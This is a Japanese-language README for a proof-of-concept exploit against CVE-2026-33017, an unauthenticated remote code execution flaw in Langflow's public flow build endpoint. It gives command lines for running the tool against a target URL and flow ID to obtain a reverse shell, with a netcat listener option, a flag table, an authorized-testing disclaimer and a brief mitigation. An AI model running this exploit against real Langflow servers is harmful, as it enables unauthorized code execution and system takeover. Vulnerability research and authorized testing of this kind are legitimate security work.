
CVE-2026-33017 Langflow RCE PoC
Langflow の未認証 build_public_tmp コード実行脆弱性に対する PoC です。
悪意のあるコンポーネントを公開フローにアップロードし、ビルドをトリガーして、リバースシェルを取得します。
認可されたセキュリティテスト専用です。 自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。
requests(pip install requests)内蔵リスナーを起動して、エクスプロイトを一括実行します:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
シェルが接続すると、完全なインタラクティブシェルへのアップグレードが自動的に試行されます。
独自のリスナー(例:nc -lvnp 4444)を使用したい場合は、--listen を省略してください:
python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
CVE-2026-33017 は、Langflow の POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントにおける未認証 RCE であり、サンドボックス化せずにフローノード定義から攻撃者が指定した Python を実行します。詳細については、以下のリソースを確認してください:
Sysdig Threat Research のレポートからの軽減策:
/api/v1/build_public_tmp エンドポイントへのネットワークアクセスを制限するか、公開フローのビルドを完全に無効化してください。このツールは、研究および認可されたペネトレーションテストのために提供されます。 作者は、誤用または損害について一切の責任を負いません。
| Flag | 説明 |
|---|
--url | ターゲットの Langflow サーバー URL(必須) |
--flow-id | 共有公開フローの UUID(必須) |
--lhost | リバースシェルコールバック IP(必須) |
--lport | リバースシェルコールバックポート(必須) |
--listen | 内蔵リスナーを実行します |
--timeout | HTTP リクエストのタイムアウト(秒)(デフォルト 30) |
-k, --insecure | TLS 証明書の検証を無効化(自己署名 / 期限切れ証明書) |
--no-upgrade | 自動 TTY アップグレードをスキップし、基本的なラインシェルを使用します |